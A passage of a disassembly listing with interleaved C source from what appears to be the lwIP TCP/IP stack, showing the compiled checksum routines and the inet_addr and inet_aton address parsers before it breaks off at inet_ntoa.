0f b6 00 movzbl (%eax),%eax 98a: 0f b6 c0 movzbl %al,%eax 98d: c1 e0 08 shl $0x8,%eax 990: 0f b7 c0 movzwl %ax,%eax 993: 89 04 24 mov %eax,(%esp) 996: e8 85 06 00 00 call 1020 <htons> 99b: 0f b7 c0 movzwl %ax,%eax 99e: 01 45 fc add %eax,0xfffffffc(%ebp) LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: odd byte %d\n", (unsigned int)(*(u8_t *)dataptr))); } else { LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: no odd byte\n")); } acc = (acc >> 16) + (acc & 0xffffUL); 9a1: 8b 45 fc mov 0xfffffffc(%ebp),%eax 9a4: 89 c2 mov %eax,%edx 9a6: c1 ea 10 shr $0x10,%edx 9a9: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax 9ad: 8d 04 02 lea (%edx,%eax,1),%eax 9b0: 89 45 fc mov %eax,0xfffffffc(%ebp) if ((acc & 0xffff0000) != 0) { 9b3: 8b 45 fc mov 0xfffffffc(%ebp),%eax 9b6: 66 b8 00 00 mov $0x0,%ax 9ba: 85 c0 test %eax,%eax 9bc: 74 12 je 9d0 <lwip_chksum+0x80> acc = (acc >> 16) + (acc & 0xffffUL); 9be: 8b 45 fc mov 0xfffffffc(%ebp),%eax 9c1: 89 c2 mov %eax,%edx 9c3: c1 ea 10 shr $0x10,%edx 9c6: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax 9ca: 8d 04 02 lea (%edx,%eax,1),%eax 9cd: 89 45 fc mov %eax,0xfffffffc(%ebp) } return (u16_t)acc; 9d0: 8b 45 fc mov 0xfffffffc(%ebp),%eax 9d3: 0f b7 c0 movzwl %ax,%eax } 9d6: c9 leave 9d7: c3 ret 9d8: 90 nop 9d9: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi 000009e0 <inet_chksum_pseudo>: /* inet_chksum_pseudo: * * Calculates the pseudo Internet checksum used by TCP and UDP for a pbuf chain. */ u16_t inet_chksum_pseudo(struct pbuf *p, struct ip_addr *src, struct ip_addr *dest, u8_t proto, u16_t proto_len) { 9e0: 55 push %ebp 9e1: 89 e5 mov %esp,%ebp 9e3: 83 ec 28 sub $0x28,%esp 9e6: 8b 45 14 mov 0x14(%ebp),%eax 9e9: 8b 55 18 mov 0x18(%ebp),%edx 9ec: 88 45 ec mov %al,0xffffffec(%ebp) 9ef: 66 89 55 e8 mov %dx,0xffffffe8(%ebp) u32_t acc; struct pbuf *q; u8_t swapped; acc = 0; 9f3: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) swapped = 0; 9fa: c6 45 ff 00 movb $0x0,0xffffffff(%ebp) /* iterate through all pbuf in chain */ for(q = p; q != NULL; q = q->next) { 9fe: 8b 45 08 mov 0x8(%ebp),%eax a01: 89 45 f8 mov %eax,0xfffffff8(%ebp) a04: eb 7b jmp a81 <inet_chksum_pseudo+0xa1> LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): checksumming pbuf %p (has next %p) \n", (void *)q, (void *)q->next)); acc += lwip_chksum(q->payload, q->len); a06: 8b 45 f8 mov 0xfffffff8(%ebp),%eax a09: 0f b7 40 0a movzwl 0xa(%eax),%eax a0d: 0f b7 d0 movzwl %ax,%edx a10: 8b 45 f8 mov 0xfffffff8(%ebp),%eax a13: 8b 40 04 mov 0x4(%eax),%eax a16: 89 54 24 04 mov %edx,0x4(%esp) a1a: 89 04 24 mov %eax,(%esp) a1d: e8 2e ff ff ff call 950 <lwip_chksum> a22: 0f b7 c0 movzwl %ax,%eax a25: 01 45 f4 add %eax,0xfffffff4(%ebp) /*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): unwrapped lwip_chksum()=%lx \n", acc));*/ while (acc >> 16) { a28: eb 10 jmp a3a <inet_chksum_pseudo+0x5a> acc = (acc & 0xffffUL) + (acc >> 16); a2a: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx a2e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax a31: c1 e8 10 shr $0x10,%eax a34: 8d 04 02 lea (%edx,%eax,1),%eax a37: 89 45 f4 mov %eax,0xfffffff4(%ebp) a3a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax a3d: c1 e8 10 shr $0x10,%eax a40: 85 c0 test %eax,%eax a42: 75 e6 jne a2a <inet_chksum_pseudo+0x4a> } if (q->len % 2 != 0) { a44: 8b 45 f8 mov 0xfffffff8(%ebp),%eax a47: 0f b7 40 0a movzwl 0xa(%eax),%eax a4b: 0f b7 c0 movzwl %ax,%eax a4e: 83 e0 01 and $0x1,%eax a51: 84 c0 test %al,%al a53: 74 24 je a79 <inet_chksum_pseudo+0x99> swapped = 1 - swapped; a55: b8 01 00 00 00 mov $0x1,%eax a5a: 2a 45 ff sub 0xffffffff(%ebp),%al a5d: 88 45 ff mov %al,0xffffffff(%ebp) acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8); a60: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax a64: 89 c2 mov %eax,%edx a66: c1 e2 08 shl $0x8,%edx a69: 8b 45 f4 mov 0xfffffff4(%ebp),%eax a6c: 25 00 ff 00 00 and $0xff00,%eax a71: c1 e8 08 shr $0x8,%eax a74: 09 d0 or %edx,%eax a76: 89 45 f4 mov %eax,0xfffffff4(%ebp) a79: 8b 45 f8 mov 0xfffffff8(%ebp),%eax a7c: 8b 00 mov (%eax),%eax a7e: 89 45 f8 mov %eax,0xfffffff8(%ebp) a81: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) a85: 0f 85 7b ff ff ff jne a06 <inet_chksum_pseudo+0x26> } /*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): wrapped lwip_chksum()=%lx \n", acc));*/ } if (swapped) { a8b: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp) a8f: 74 19 je aaa <inet_chksum_pseudo+0xca> acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8); a91: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax a95: 89 c2 mov %eax,%edx a97: c1 e2 08 shl $0x8,%edx a9a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax a9d: 25 00 ff 00 00 and $0xff00,%eax aa2: c1 e8 08 shr $0x8,%eax aa5: 09 d0 or %edx,%eax aa7: 89 45 f4 mov %eax,0xfffffff4(%ebp) } acc += (src->addr & 0xffffUL); aaa: 8b 45 0c mov 0xc(%ebp),%eax aad: 8b 00 mov (%eax),%eax aaf: 25 ff ff 00 00 and $0xffff,%eax ab4: 01 45 f4 add %eax,0xfffffff4(%ebp) acc += ((src->addr >> 16) & 0xffffUL); ab7: 8b 45 0c mov 0xc(%ebp),%eax aba: 8b 00 mov (%eax),%eax abc: c1 e8 10 shr $0x10,%eax abf: 25 ff ff 00 00 and $0xffff,%eax ac4: 01 45 f4 add %eax,0xfffffff4(%ebp) acc += (dest->addr & 0xffffUL); ac7: 8b 45 10 mov 0x10(%ebp),%eax aca: 8b 00 mov (%eax),%eax acc: 25 ff ff 00 00 and $0xffff,%eax ad1: 01 45 f4 add %eax,0xfffffff4(%ebp) acc += ((dest->addr >> 16) & 0xffffUL); ad4: 8b 45 10 mov 0x10(%ebp),%eax ad7: 8b 00 mov (%eax),%eax ad9: c1 e8 10 shr $0x10,%eax adc: 25 ff ff 00 00 and $0xffff,%eax ae1: 01 45 f4 add %eax,0xfffffff4(%ebp) acc += (u32_t)htons((u16_t)proto); ae4: 0f b6 45 ec movzbl 0xffffffec(%ebp),%eax ae8: 89 04 24 mov %eax,(%esp) aeb: e8 30 05 00 00 call 1020 <htons> af0: 0f b7 c0 movzwl %ax,%eax af3: 01 45 f4 add %eax,0xfffffff4(%ebp) acc += (u32_t)htons(proto_len); af6: 0f b7 45 e8 movzwl 0xffffffe8(%ebp),%eax afa: 89 04 24 mov %eax,(%esp) afd: e8 1e 05 00 00 call 1020 <htons> b02: 0f b7 c0 movzwl %ax,%eax b05: 01 45 f4 add %eax,0xfffffff4(%ebp) while (acc >> 16) { b08: eb 10 jmp b1a <inet_chksum_pseudo+0x13a> acc = (acc & 0xffffUL) + (acc >> 16); b0a: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx b0e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax b11: c1 e8 10 shr $0x10,%eax b14: 8d 04 02 lea (%edx,%eax,1),%eax b17: 89 45 f4 mov %eax,0xfffffff4(%ebp) b1a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax b1d: c1 e8 10 shr $0x10,%eax b20: 85 c0 test %eax,%eax b22: 75 e6 jne b0a <inet_chksum_pseudo+0x12a> } LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): pbuf chain lwip_chksum()=%lx\n", acc)); return ~(acc & 0xffffUL); b24: 8b 45 f4 mov 0xfffffff4(%ebp),%eax b27: f7 d0 not %eax b29: 0f b7 c0 movzwl %ax,%eax } b2c: c9 leave b2d: c3 ret b2e: 89 f6 mov %esi,%esi 00000b30 <inet_chksum>: /* inet_chksum: * * Calculates the Internet checksum over a portion of memory. Used primarely for IP * and ICMP. */ u16_t inet_chksum(void *dataptr, u16_t len) { b30: 55 push %ebp b31: 89 e5 mov %esp,%ebp b33: 83 ec 28 sub $0x28,%esp b36: 8b 45 0c mov 0xc(%ebp),%eax b39: 66 89 45 ec mov %ax,0xffffffec(%ebp) u32_t acc; acc = lwip_chksum(dataptr, len); b3d: 0f b7 45 ec movzwl 0xffffffec(%ebp),%eax b41: 89 44 24 04 mov %eax,0x4(%esp) b45: 8b 45 08 mov 0x8(%ebp),%eax b48: 89 04 24 mov %eax,(%esp) b4b: e8 00 fe ff ff call 950 <lwip_chksum> b50: 0f b7 c0 movzwl %ax,%eax b53: 89 45 fc mov %eax,0xfffffffc(%ebp) while (acc >> 16) { b56: eb 10 jmp b68 <inet_chksum+0x38> acc = (acc & 0xffff) + (acc >> 16); b58: 0f b7 55 fc movzwl 0xfffffffc(%ebp),%edx b5c: 8b 45 fc mov 0xfffffffc(%ebp),%eax b5f: c1 e8 10 shr $0x10,%eax b62: 8d 04 02 lea (%edx,%eax,1),%eax b65: 89 45 fc mov %eax,0xfffffffc(%ebp) b68: 8b 45 fc mov 0xfffffffc(%ebp),%eax b6b: c1 e8 10 shr $0x10,%eax b6e: 85 c0 test %eax,%eax b70: 75 e6 jne b58 <inet_chksum+0x28> } return ~(acc & 0xffff); b72: 8b 45 fc mov 0xfffffffc(%ebp),%eax b75: f7 d0 not %eax b77: 0f b7 c0 movzwl %ax,%eax } b7a: c9 leave b7b: c3 ret b7c: 8d 74 26 00 lea 0x0(%esi),%esi 00000b80 <inet_chksum_pbuf>: u16_t inet_chksum_pbuf(struct pbuf *p) { b80: 55 push %ebp b81: 89 e5 mov %esp,%ebp b83: 83 ec 18 sub $0x18,%esp u32_t acc; struct pbuf *q; u8_t swapped; acc = 0; b86: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp) swapped = 0; b8d: c6 45 ff 00 movb $0x0,0xffffffff(%ebp) for(q = p; q != NULL; q = q->next) { b91: 8b 45 08 mov 0x8(%ebp),%eax b94: 89 45 f8 mov %eax,0xfffffff8(%ebp) b97: eb 69 jmp c02 <inet_chksum_pbuf+0x82> acc += lwip_chksum(q->payload, q->len); b99: 8b 45 f8 mov 0xfffffff8(%ebp),%eax b9c: 0f b7 40 0a movzwl 0xa(%eax),%eax ba0: 0f b7 d0 movzwl %ax,%edx ba3: 8b 45 f8 mov 0xfffffff8(%ebp),%eax ba6: 8b 40 04 mov 0x4(%eax),%eax ba9: 89 54 24 04 mov %edx,0x4(%esp) bad: 89 04 24 mov %eax,(%esp) bb0: e8 9b fd ff ff call 950 <lwip_chksum> bb5: 0f b7 c0 movzwl %ax,%eax bb8: 01 45 f4 add %eax,0xfffffff4(%ebp) while (acc >> 16) { bbb: eb 10 jmp bcd <inet_chksum_pbuf+0x4d> acc = (acc & 0xffffUL) + (acc >> 16); bbd: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx bc1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax bc4: c1 e8 10 shr $0x10,%eax bc7: 8d 04 02 lea (%edx,%eax,1),%eax bca: 89 45 f4 mov %eax,0xfffffff4(%ebp) bcd: 8b 45 f4 mov 0xfffffff4(%ebp),%eax bd0: c1 e8 10 shr $0x10,%eax bd3: 85 c0 test %eax,%eax bd5: 75 e6 jne bbd <inet_chksum_pbuf+0x3d> } if (q->len % 2 != 0) { bd7: 8b 45 f8 mov 0xfffffff8(%ebp),%eax bda: 0f b7 40 0a movzwl 0xa(%eax),%eax bde: 0f b7 c0 movzwl %ax,%eax be1: 83 e0 01 and $0x1,%eax be4: 84 c0 test %al,%al be6: 74 12 je bfa <inet_chksum_pbuf+0x7a> swapped = 1 - swapped; be8: b8 01 00 00 00 mov $0x1,%eax bed: 2a 45 ff sub 0xffffffff(%ebp),%al bf0: 88 45 ff mov %al,0xffffffff(%ebp) acc = (acc & 0x00ffUL << 8) | (acc & 0xff00UL >> 8); bf3: 81 65 f4 ff ff 00 00 andl $0xffff,0xfffffff4(%ebp) bfa: 8b 45 f8 mov 0xfffffff8(%ebp),%eax bfd: 8b 00 mov (%eax),%eax bff: 89 45 f8 mov %eax,0xfffffff8(%ebp) c02: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) c06: 75 91 jne b99 <inet_chksum_pbuf+0x19> } } if (swapped) { c08: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp) c0c: 74 19 je c27 <inet_chksum_pbuf+0xa7> acc = ((acc & 0x00ffUL) << 8) | ((acc & 0xff00UL) >> 8); c0e: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax c12: 89 c2 mov %eax,%edx c14: c1 e2 08 shl $0x8,%edx c17: 8b 45 f4 mov 0xfffffff4(%ebp),%eax c1a: 25 00 ff 00 00 and $0xff00,%eax c1f: c1 e8 08 shr $0x8,%eax c22: 09 d0 or %edx,%eax c24: 89 45 f4 mov %eax,0xfffffff4(%ebp) } return ~(acc & 0xffffUL); c27: 8b 45 f4 mov 0xfffffff4(%ebp),%eax c2a: f7 d0 not %eax c2c: 0f b7 c0 movzwl %ax,%eax } c2f: c9 leave c30: c3 ret c31: eb 0d jmp c40 <inet_addr> c33: 90 nop c34: 90 nop c35: 90 nop c36: 90 nop c37: 90 nop c38: 90 nop c39: 90 nop c3a: 90 nop c3b: 90 nop c3c: 90 nop c3d: 90 nop c3e: 90 nop c3f: 90 nop 00000c40 <inet_addr>: /* Here for now until needed in other places in lwIP */ #ifndef isascii #define in_range(c, lo, up) ((u8_t)c >= lo && (u8_t)c <= up) #define isascii(c) in_range(c, 0x20, 0x7f) #define isdigit(c) in_range(c, '0', '9') #define isxdigit(c) (isdigit(c) || in_range(c, 'a', 'f') || in_range(c, 'A', 'F')) #define islower(c) in_range(c, 'a', 'z') #define isspace(c) (c == ' ' || c == '\f' || c == '\n' || c == '\r' || c == '\t' || c == '\v') #endif /* * Ascii internet address interpretation routine. * The value returned is in network order. */ /* */ /* inet_addr */ u32_t inet_addr(const char *cp) { c40: 55 push %ebp c41: 89 e5 mov %esp,%ebp c43: 83 ec 28 sub $0x28,%esp struct in_addr val; if (inet_aton(cp, &val)) { c46: 8d 45 fc lea 0xfffffffc(%ebp),%eax c49: 89 44 24 04 mov %eax,0x4(%esp) c4d: 8b 45 08 mov 0x8(%ebp),%eax c50: 89 04 24 mov %eax,(%esp) c53: e8 18 00 00 00 call c70 <inet_aton> c58: 85 c0 test %eax,%eax c5a: 74 08 je c64 <inet_addr+0x24> return (val.s_addr); c5c: 8b 45 fc mov 0xfffffffc(%ebp),%eax c5f: 89 45 ec mov %eax,0xffffffec(%ebp) c62: eb 07 jmp c6b <inet_addr+0x2b> } return (INADDR_NONE); c64: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp) c6b: 8b 45 ec mov 0xffffffec(%ebp),%eax } c6e: c9 leave c6f: c3 ret 00000c70 <inet_aton>: /* * Check whether "cp" is a valid ascii representation * of an Internet address and convert to a binary address. * Returns 1 if the address is valid, 0 if not. * This replaces inet_addr, the return value from which * cannot distinguish between failure and a local broadcast address. */ /* */ /* inet_aton */ int inet_aton(const char *cp, struct in_addr *addr) { c70: 55 push %ebp c71: 89 e5 mov %esp,%ebp c73: 83 ec 48 sub $0x48,%esp u32_t val; int base, n; char c; u32_t parts[4]; u32_t* pp = parts; c76: 8d 45 dc lea 0xffffffdc(%ebp),%eax c79: 89 45 fc mov %eax,0xfffffffc(%ebp) c = *cp; c7c: 8b 45 08 mov 0x8(%ebp),%eax c7f: 0f b6 00 movzbl (%eax),%eax c82: 88 45 fb mov %al,0xfffffffb(%ebp) for (;;) { /* * Collect number up to ``.''. * Values are specified as for C: * 0x=hex, 0=octal, isdigit=decimal. */ if (!isdigit(c)) c85: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax c89: 3c 2f cmp $0x2f,%al c8b: 76 08 jbe c95 <inet_aton+0x25> c8d: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax c91: 3c 39 cmp $0x39,%al c93: 76 0c jbe ca1 <inet_aton+0x31> return (0); c95: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) c9c: e9 78 02 00 00 jmp f19 <inet_aton+0x2a9> val = 0; base = 10; ca1: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp) ca8: c7 45 f0 0a 00 00 00 movl $0xa,0xfffffff0(%ebp) if (c == '0') { caf: 80 7d fb 30 cmpb $0x30,0xfffffffb(%ebp) cb3: 75 36 jne ceb <inet_aton+0x7b> c = *++cp; cb5: 83 45 08 01 addl $0x1,0x8(%ebp) cb9: 8b 45 08 mov 0x8(%ebp),%eax cbc: 0f b6 00 movzbl (%eax),%eax cbf: 88 45 fb mov %al,0xfffffffb(%ebp) if (c == 'x' || c == 'X') cc2: 80 7d fb 78 cmpb $0x78,0xfffffffb(%ebp) cc6: 74 06 je cce <inet_aton+0x5e> cc8: 80 7d fb 58 cmpb $0x58,0xfffffffb(%ebp) ccc: 75 16 jne ce4 <inet_aton+0x74> base = 16, c = *++cp; cce: c7 45 f0 10 00 00 00 movl $0x10,0xfffffff0(%ebp) cd5: 83 45 08 01 addl $0x1,0x8(%ebp) cd9: 8b 45 08 mov 0x8(%ebp),%eax cdc: 0f b6 00 movzbl (%eax),%eax cdf: 88 45 fb mov %al,0xfffffffb(%ebp) ce2: eb 07 jmp ceb <inet_aton+0x7b> else base = 8; ce4: c7 45 f0 08 00 00 00 movl $0x8,0xfffffff0(%ebp) } for (;;) { if (isascii(c) && isdigit(c)) { ceb: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax cef: 3c 1f cmp $0x1f,%al cf1: 76 3b jbe d2e <inet_aton+0xbe> cf3: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp) cf7: 78 35 js d2e <inet_aton+0xbe> cf9: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax cfd: 3c 2f cmp $0x2f,%al cff: 76 2d jbe d2e <inet_aton+0xbe> d01: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d05: 3c 39 cmp $0x39,%al d07: 77 25 ja d2e <inet_aton+0xbe> val = (val * base) + (c - '0'); d09: 8b 45 f0 mov 0xfffffff0(%ebp),%eax d0c: 89 c2 mov %eax,%edx d0e: 0f af 55 ec imul 0xffffffec(%ebp),%edx d12: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax d16: 8d 04 02 lea (%edx,%eax,1),%eax d19: 83 e8 30 sub $0x30,%eax d1c: 89 45 ec mov %eax,0xffffffec(%ebp) c = *++cp; d1f: 83 45 08 01 addl $0x1,0x8(%ebp) d23: 8b 45 08 mov 0x8(%ebp),%eax d26: 0f b6 00 movzbl (%eax),%eax d29: 88 45 fb mov %al,0xfffffffb(%ebp) d2c: eb bd jmp ceb <inet_aton+0x7b> } else if (base == 16 && isascii(c) && isxdigit(c)) { d2e: 83 7d f0 10 cmpl $0x10,0xfffffff0(%ebp) d32: 0f 85 99 00 00 00 jne dd1 <inet_aton+0x161> d38: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d3c: 3c 1f cmp $0x1f,%al d3e: 0f 86 8d 00 00 00 jbe dd1 <inet_aton+0x161> d44: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp) d48: 0f 88 83 00 00 00 js dd1 <inet_aton+0x161> d4e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d52: 3c 2f cmp $0x2f,%al d54: 76 08 jbe d5e <inet_aton+0xee> d56: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d5a: 3c 39 cmp $0x39,%al d5c: 76 20 jbe d7e <inet_aton+0x10e> d5e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d62: 3c 60 cmp $0x60,%al d64: 76 08 jbe d6e <inet_aton+0xfe> d66: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d6a: 3c 66 cmp $0x66,%al d6c: 76 10 jbe d7e <inet_aton+0x10e> d6e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d72: 3c 40 cmp $0x40,%al d74: 76 5b jbe dd1 <inet_aton+0x161> d76: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d7a: 3c 46 cmp $0x46,%al d7c: 77 53 ja dd1 <inet_aton+0x161> val = (val << 4) | d7e: 8b 45 ec mov 0xffffffec(%ebp),%eax d81: 89 c2 mov %eax,%edx d83: c1 e2 04 shl $0x4,%edx d86: 89 55 c4 mov %edx,0xffffffc4(%ebp) d89: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax d8d: 83 c0 0a add $0xa,%eax d90: 89 45 c8 mov %eax,0xffffffc8(%ebp) d93: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d97: 3c 60 cmp $0x60,%al d99: 76 11 jbe dac <inet_aton+0x13c> d9b: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax d9f: 3c 7a cmp $0x7a,%al da1: 77 09 ja dac <inet_aton+0x13c> da3: c7 45 cc 61 00 00 00 movl $0x61,0xffffffcc(%ebp) daa: eb 07 jmp db3 <inet_aton+0x143> dac: c7 45 cc 41 00 00 00 movl $0x41,0xffffffcc(%ebp) db3: 8b 45 c8 mov 0xffffffc8(%ebp),%eax db6: 2b 45 cc sub 0xffffffcc(%ebp),%eax db9: 0b 45 c4 or 0xffffffc4(%ebp),%eax dbc: 89 45 ec mov %eax,0xffffffec(%ebp) (c + 10 - (islower(c) ? 'a' : 'A')); c = *++cp; dbf: 83 45 08 01 addl $0x1,0x8(%ebp) dc3: 8b 45 08 mov 0x8(%ebp),%eax dc6: 0f b6 00 movzbl (%eax),%eax dc9: 88 45 fb mov %al,0xfffffffb(%ebp) } else break; } dcc: e9 1a ff ff ff jmp ceb <inet_aton+0x7b> if (c == '.') { dd1: 80 7d fb 2e cmpb $0x2e,0xfffffffb(%ebp) dd5: 75 35 jne e0c <inet_aton+0x19c> /* * Internet format: * a.b.c.d * a.b.c (with c treated as 16 bits) * a.b (with b treated as 24 bits) */ if (pp >= parts + 3) dd7: 8d 45 dc lea 0xffffffdc(%ebp),%eax dda: 83 c0 0c add $0xc,%eax ddd: 3b 45 fc cmp 0xfffffffc(%ebp),%eax de0: 77 0c ja dee <inet_aton+0x17e> return (0); de2: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) de9: e9 2b 01 00 00 jmp f19 <inet_aton+0x2a9> *pp++ = val; dee: 8b 55 fc mov 0xfffffffc(%ebp),%edx df1: 8b 45 ec mov 0xffffffec(%ebp),%eax df4: 89 02 mov %eax,(%edx) df6: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp) c = *++cp; dfa: 83 45 08 01 addl $0x1,0x8(%ebp) dfe: 8b 45 08 mov 0x8(%ebp),%eax e01: 0f b6 00 movzbl (%eax),%eax e04: 88 45 fb mov %al,0xfffffffb(%ebp) } else break; } e07: e9 79 fe ff ff jmp c85 <inet_aton+0x15> /* * Check for trailing characters. */ if (c != '\0' && (!isascii(c) || !isspace(c))) e0c: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp) e10: 74 3e je e50 <inet_aton+0x1e0> e12: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax e16: 3c 1f cmp $0x1f,%al e18: 76 2a jbe e44 <inet_aton+0x1d4> e1a: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp) e1e: 78 24 js e44 <inet_aton+0x1d4> e20: 80 7d fb 20 cmpb $0x20,0xfffffffb(%ebp) e24: 74 2a je e50 <inet_aton+0x1e0> e26: 80 7d fb 0c cmpb $0xc,0xfffffffb(%ebp) e2a: 74 24 je e50 <inet_aton+0x1e0> e2c: 80 7d fb 0a cmpb $0xa,0xfffffffb(%ebp) e30: 74 1e je e50 <inet_aton+0x1e0> e32: 80 7d fb 0d cmpb $0xd,0xfffffffb(%ebp) e36: 74 18 je e50 <inet_aton+0x1e0> e38: 80 7d fb 09 cmpb $0x9,0xfffffffb(%ebp) e3c: 74 12 je e50 <inet_aton+0x1e0> e3e: 80 7d fb 0b cmpb $0xb,0xfffffffb(%ebp) e42: 74 0c je e50 <inet_aton+0x1e0> return (0); e44: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) e4b: e9 c9 00 00 00 jmp f19 <inet_aton+0x2a9> /* * Concoct the address according to * the number of parts specified. */ n = pp - parts + 1; e50: 8b 55 fc mov 0xfffffffc(%ebp),%edx e53: 8d 45 dc lea 0xffffffdc(%ebp),%eax e56: 89 d1 mov %edx,%ecx e58: 29 c1 sub %eax,%ecx e5a: 89 c8 mov %ecx,%eax e5c: c1 f8 02 sar $0x2,%eax e5f: 83 c0 01 add $0x1,%eax e62: 89 45 f4 mov %eax,0xfffffff4(%ebp) switch (n) { e65: 83 7d f4 04 cmpl $0x4,0xfffffff4(%ebp) e69: 0f 87 8b 00 00 00 ja efa <inet_aton+0x28a> e6f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax e72: c1 e0 02 shl $0x2,%eax e75: 8b 80 f8 10 00 00 mov 0x10f8(%eax),%eax e7b: ff e0 jmp *%eax case 0: return (0); /* initial nondigit */ e7d: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) e84: e9 90 00 00 00 jmp f19 <inet_aton+0x2a9> case 1: /* a -- 32 bits */ break; case 2: /* a.b -- 8.24 bits */ if (val > 0xffffff) e89: 81 7d ec ff ff ff 00 cmpl $0xffffff,0xffffffec(%ebp) e90: 76 09 jbe e9b <inet_aton+0x22b> return (0); e92: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) e99: eb 7e jmp f19 <inet_aton+0x2a9> val |= parts[0] << 24; e9b: 8b 45 dc mov 0xffffffdc(%ebp),%eax e9e: c1 e0 18 shl $0x18,%eax ea1: 09 45 ec or %eax,0xffffffec(%ebp) break; ea4: eb 54 jmp efa <inet_aton+0x28a> case 3: /* a.b.c -- 8.8.16 bits */ if (val > 0xffff) ea6: 81 7d ec ff ff 00 00 cmpl $0xffff,0xffffffec(%ebp) ead: 76 09 jbe eb8 <inet_aton+0x248> return (0); eaf: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) eb6: eb 61 jmp f19 <inet_aton+0x2a9> val |= (parts[0] << 24) | (parts[1] << 16); eb8: 8b 45 dc mov 0xffffffdc(%ebp),%eax ebb: 89 c2 mov %eax,%edx ebd: c1 e2 18 shl $0x18,%edx ec0: 8b 45 e0 mov 0xffffffe0(%ebp),%eax ec3: c1 e0 10 shl $0x10,%eax ec6: 09 d0 or %edx,%eax ec8: 09 45 ec or %eax,0xffffffec(%ebp) break; ecb: eb 2d jmp efa <inet_aton+0x28a> case 4: /* a.b.c.d -- 8.8.8.8 bits */ if (val > 0xff) ecd: 81 7d ec ff 00 00 00 cmpl $0xff,0xffffffec(%ebp) ed4: 76 09 jbe edf <inet_aton+0x26f> return (0); ed6: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp) edd: eb 3a jmp f19 <inet_aton+0x2a9> val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); edf: 8b 45 dc mov 0xffffffdc(%ebp),%eax ee2: 89 c2 mov %eax,%edx ee4: c1 e2 18 shl $0x18,%edx ee7: 8b 45 e0 mov 0xffffffe0(%ebp),%eax eea: c1 e0 10 shl $0x10,%eax eed: 09 c2 or %eax,%edx eef: 8b 45 e4 mov 0xffffffe4(%ebp),%eax ef2: c1 e0 08 shl $0x8,%eax ef5: 09 d0 or %edx,%eax ef7: 09 45 ec or %eax,0xffffffec(%ebp) break; } if (addr) efa: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) efe: 74 12 je f12 <inet_aton+0x2a2> addr->s_addr = htonl(val); f00: 8b 45 ec mov 0xffffffec(%ebp),%eax f03: 89 04 24 mov %eax,(%esp) f06: e8 65 01 00 00 call 1070 <htonl> f0b: 89 c2 mov %eax,%edx f0d: 8b 45 0c mov 0xc(%ebp),%eax f10: 89 10 mov %edx,(%eax) return (1); f12: c7 45 c0 01 00 00 00 movl $0x1,0xffffffc0(%ebp) f19: 8b 45 c0 mov 0xffffffc0(%ebp),%eax } f1c: c9 leave f1d: c3 ret f1e: 89 f6 mov %esi,%esi 00000f20 <inet_ntoa>: /* Convert numeric IP address into decimal dotted ASCII representation. * returns ptr to static buffer; not reentrant! */ char *inet_ntoa(struct in_addr addr) { f20: 55 push %ebp f21: 89 e5 mov %esp,%ebp f23: 53 push %ebx f24: 83 ec 24 sub $0x24,%esp static char str[16]; u32_t 